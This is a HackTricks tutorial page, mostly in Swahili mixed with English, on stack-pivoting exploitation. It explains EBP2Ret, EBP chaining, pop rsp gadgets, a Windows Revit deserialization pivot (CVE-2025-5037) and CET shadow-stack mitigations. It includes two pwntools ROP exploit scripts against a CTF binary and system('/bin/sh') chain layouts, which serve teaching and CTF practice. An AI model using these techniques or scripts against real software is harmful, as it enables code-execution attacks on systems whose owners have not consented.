Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 14 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Mbinu hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) kuunganisha utekelezaji wa multiple functions kupitia matumizi makini ya frame pointer na mnyororo wa maagizo leave; ret.

Kumbuka, kwenye x86/x86-64 leave ni sawa na:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.

Vidokezo

  • Kwenye 64-bit, badilisha EBP→RBP na ESP→RSP. Mantiki ni ile ile.
  • Baadhi ya compilers huondoa frame pointer (tazama “EBP might not be used”). Katika hali hiyo, leave inaweza isijitokeze na teknik hii haitafanya kazi.

EBP2Ret

Tekniki hii ni hasa muhimu wakati unaweza kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP. Inategemea tabia ya function epilogue.

Ikihalika, wakati wa utekelezaji wa fvuln, ukifanikiwa kuingiza a EBP bandia kwenye stack inayobainisha eneo la kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (kwa nyongeza 8 bytes kwenye amd64 / 4 bytes kwenye x86 kwa ajili ya pop), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Wakati function inarudi, leave inaweka RSP kwenye eneo lililotengenezwa na pop rbp inafuata inaposhuka RSP, kwa ufanisi kuifanya iainishe anwani iliyoandikwa na mshambulizi huko. Kisha ret itatumia anwani hiyo.

Angalia kwamba unahitaji kujua anwani 2: anwani ambayo ESP/RSP itayokwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret itatumia.

Exploit Construction

Kwanza unahitaji kujua an wani ambapo unaweza kuandika arbitrary data/addresses. RSP itabakiwa imeelekezwa hapa na itaitumia ret ya kwanza.

Kisha, unahitaji kuchagua anwani itakayotumiwa na ret itakayohamisha utekelezaji. Unaweza kutumia:

  • Anwani sahihi ya ONE_GADGET.
  • Anwani ya system() ikifuatiwa na return na vigezo vinavyofaa (kwenye x86: lengo la ret = &system, kisha 4 junk bytes, kisha &"/bin/sh").
  • Anwani ya gadget ya jmp esp; (ret2esp) ikifuatiwa na inline shellcode.
  • Mnyororo wa ROP uliopangwa katika kumbukumbu inayoweza kuandikwa.

Kumbuka kwamba kabla ya anwani yoyote ya hizi katika eneo linalodhibitiwa, lazima kuwepo nafasi kwa pop ebp/rbp kutoka leave (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuanzisha EBP bandia ya pili na kudumisha udhibiti baada ya wito wa kwanza kurudi.

Off-By-One Exploit

Kuna aina inayotumika wakati unaweza kubadilisha tu byte yenye umuhimu mdogo wa EBP/RBP iliyohifadhiwa. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka nayo kwa ret lazima lishare byte tatu/tano za kwanza na EBP/RBP ya asili ili overwrite ya 1-byte iweze kuipelekeza mahali pengine. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka umbali mkubwa iwezekanavyo ndani ya ukurasa wa karibu/eneo lililotangazwa.

Pia ni kawaida kutumia RET sled katika stack na kuweka ROP chain halisi mwishoni ili kufanya uwezekano mkubwa kwamba RSP mpya itaonyesha ndani ya sled na mnyororo wa mwisho wa ROP utaendeshwa.

EBP Chaining

Kwa kuweka anwani inayoangaliwa katika slot ya EBP iliyohifadhiwa kwenye stack na gadget ya leave; ret katika EIP/RIP, inawezekana kuhamisha ESP/RSP hadi anwani inayodhibitiwa na mshambulizi.

Sasa RSP inadhibitiwa na agizo linalofuata ni ret. Weka katika kumbukumbu inayodhibitiwa kitu kama:

  • &(next fake EBP) -> Imepakuliwa na pop ebp/rbp kutoka leave.
  • &system() -> Inaitwa na ret.
  • &(leave;ret) -> Baada system inapomalizika, inasogeza RSP kwa EBP bandia inayofuata na kuendelea.
  • &("/bin/sh") -> Hoja kwa system.

Kwa njia hii inawezekana kuunganisha EBP bandia kadhaa kudhibiti mtiririko wa programu.

Hii ni kama ret2lib, lakini ngumu zaidi na inafaa tu katika kesi za pembezoni.

Zaidi ya hayo, hapa kuna mfano wa changamoto inayotumia tekniki hii pamoja na stack leak ili kuita function ya kushinda. Huu ni payload ya mwisho kutoka ukurasa huo:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

Ushauri wa alignment (amd64): System V ABI inahitaji upangaji wa stack wa 16-byte kwenye maeneo ya call. Ikiwa chain yako inaita functions kama system, ongeza alignment gadget (mfano, ret, au sub rsp, 8 ; ret) kabla ya call ili kudumisha alignment na kuepuka crashes za movaps.

EBP inaweza isitumike

Kama explained in this post, ikiwa binary imekompilishwa kwa maboresho fulani au kwa kuondolewa kwa frame-pointer, EBP/RBP hazidhibiti kabisa ESP/RSP. Kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue haitarejesha kutoka kwa frame pointer.

  • Isiyoboreshwa / frame pointer inatumika:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Imeboreshwa / frame pointer imeondolewa:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Kwenye amd64 mara nyingi utaona pop rbp ; ret badala ya leave ; ret, lakini ikiwa kiashiria cha fremu kimetolewa kabisa basi hakuna epilogi inayotegemea rbp ya kupivota kupitia.

Njia nyingine za kudhibiti RSP

pop rsp gadget

In this page utapata mfano unaotumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita function yenye hoja 2 maalum, na kulikuwa na pop rsp gadget na kuna leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Angalia mbinu ya ret2esp hapa:

Ret2esp / Ret2reg

Kupata pivot gadgets haraka

Tumia gadget finder unayopendelea kutafuta pivot primitives za jadi:

  • leave ; ret kwenye functions au katika libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (au add esp, <imm> ; ret kwa x86)

Mifano:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Mfano wa Klasiki wa pivot staging

Mkakati imara wa pivot unaotumika kwenye CTFs/exploits nyingi:

  1. Tumia overflow ndogo ya awali ili kuita read/recv ndani ya eneo kubwa linaloweza kuandikwa (mfano, .bss, heap, au mapped RW memory) na weka full ROP chain huko.
  2. Rudi kwenye pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) ili kuhama RSP kwenda eneo hilo.
  3. Endelea na mnyororo uliowekwa (mfano, leak libc, uita mprotect, kisha read shellcode, kisha ruka kwake).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Parsers upande wa mteja wakati mwingine hufanya destructor loops ambazo zinaita kwa njia isiyo ya moja kwa moja function pointer inayotokana na object fields zinazodhibitiwa na attacker. Ikiwa kila iteresheni inatoa hasa wito mmoja wa indirect (mashine ya “one-gadget”), unaweza kubadilisha hii kuwa stack pivot thabiti na ROP entry.

Imetambuliwa katika Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Vitu vilivyotengenezwa vya aina AString huweka pointer kwa attacker bytes kwenye offset 0.
  • Destructor loop kwa ufanisi inatekeleza gadget moja kwa kila object:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Pivots mbili za vitendo:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains 8B E0mov esp, eax, eventually ret, to pivot from the call primitive to a heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (move original rax into rbp)
  • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Vidokezo kwa Windows x64 baada ya pivot:

  • Heshimu 0x20-byte shadow space na uendeleze 16-byte alignment kabla ya call sites. Mara nyingi ni rahisi kuweka literals juu ya return address na kutumia gadget kama lea rcx, [rsp+0x20] ; call rax ikifuatiwa na pop rax ; ret ili kupitisha stack addresses bila kuharibu control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

Kwa ujenzi wa chain kamili na mifano ya gadgets, angalia rejea hapa chini.

Mitigations za kisasa zinazovunja stack pivoting (CET/Shadow Stack)

CPU za x86 za kisasa na OS zinatumia kwa wingi CET Shadow Stack (SHSTK). Kwa SHSTK ikiwa imewezeshwa, ret inalinganisha return address kwenye stack ya kawaida na shadow stack iliyolindwa na vifaa vya maunzi; upotokezi wowote unasababisha Control-Protection fault na kuua mchakato. Kwa hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitarusha crash mara tu ret ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivotiwa.

  • For background and deeper details see:

CET & Shadow Stack

  • Ukaguzi wa haraka kwenye Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Vidokezo kwa maabara/CTF:

  • Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zilizo CET-enabled wakati vifaa na glibc vinavyounga mkono vipo. Kwa upimaji ulioodhibitiwa ndani ya VMs, SHSTK inaweza kuzimwa mfumo mzima kupitia kernel boot parameter nousershstk, au kuwezeshwa kwa njia chaguo-chagu kupitia tunables za glibc wakati wa startup (angalia marejeo). Usizime mitigations kwenye targets za production.

  • Mbinu za aina JOP/COOP au SROP zinaweza bado kuwa zinazofaa kwenye targets fulani, lakini SHSTK hasa inavunja ret-based pivots.

  • Kumbuka kwa Windows: Windows 10+ inaonyesha user-mode na Windows 11 inaongeza kernel-mode “Hardware-enforced Stack Protection” iliyojengwa kwa shadow stacks. Mchakato unaoungwa mkono na CET huwazuia stack pivoting/ROP kwa ret; watengenezaji hujiunga kupitia CETCOMPAT na sera zinazohusiana (angalia marejeo).

ARM64

Katika ARM64, the prologue and epilogues za functions hazihifadhi wala kurejesha register ya SP kwenye stack. Zaidi ya hayo, instruksi ya RET haitarudi kwenye anwani inayotegemea SP, bali kwenye anwani iliyo ndani ya x30.

Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Njia ya kutekeleza kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP (kwa kudhibiti register fulani ambayo thamani yake inapita kwa SP au kwa sababu kwa namna fulani SP inachukua anwani yake kutoka kwenye stack na tunayo overflow) na kisha kutumia epilogue kupakia register ya x30 kutoka kwa SP yenye kudhibitiwa na RET kwa anwani hiyo.

Pia kwenye ukurasa ufuatao unaweza kuona sawa na Ret2esp in ARM64:

Ret2esp / Ret2reg

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks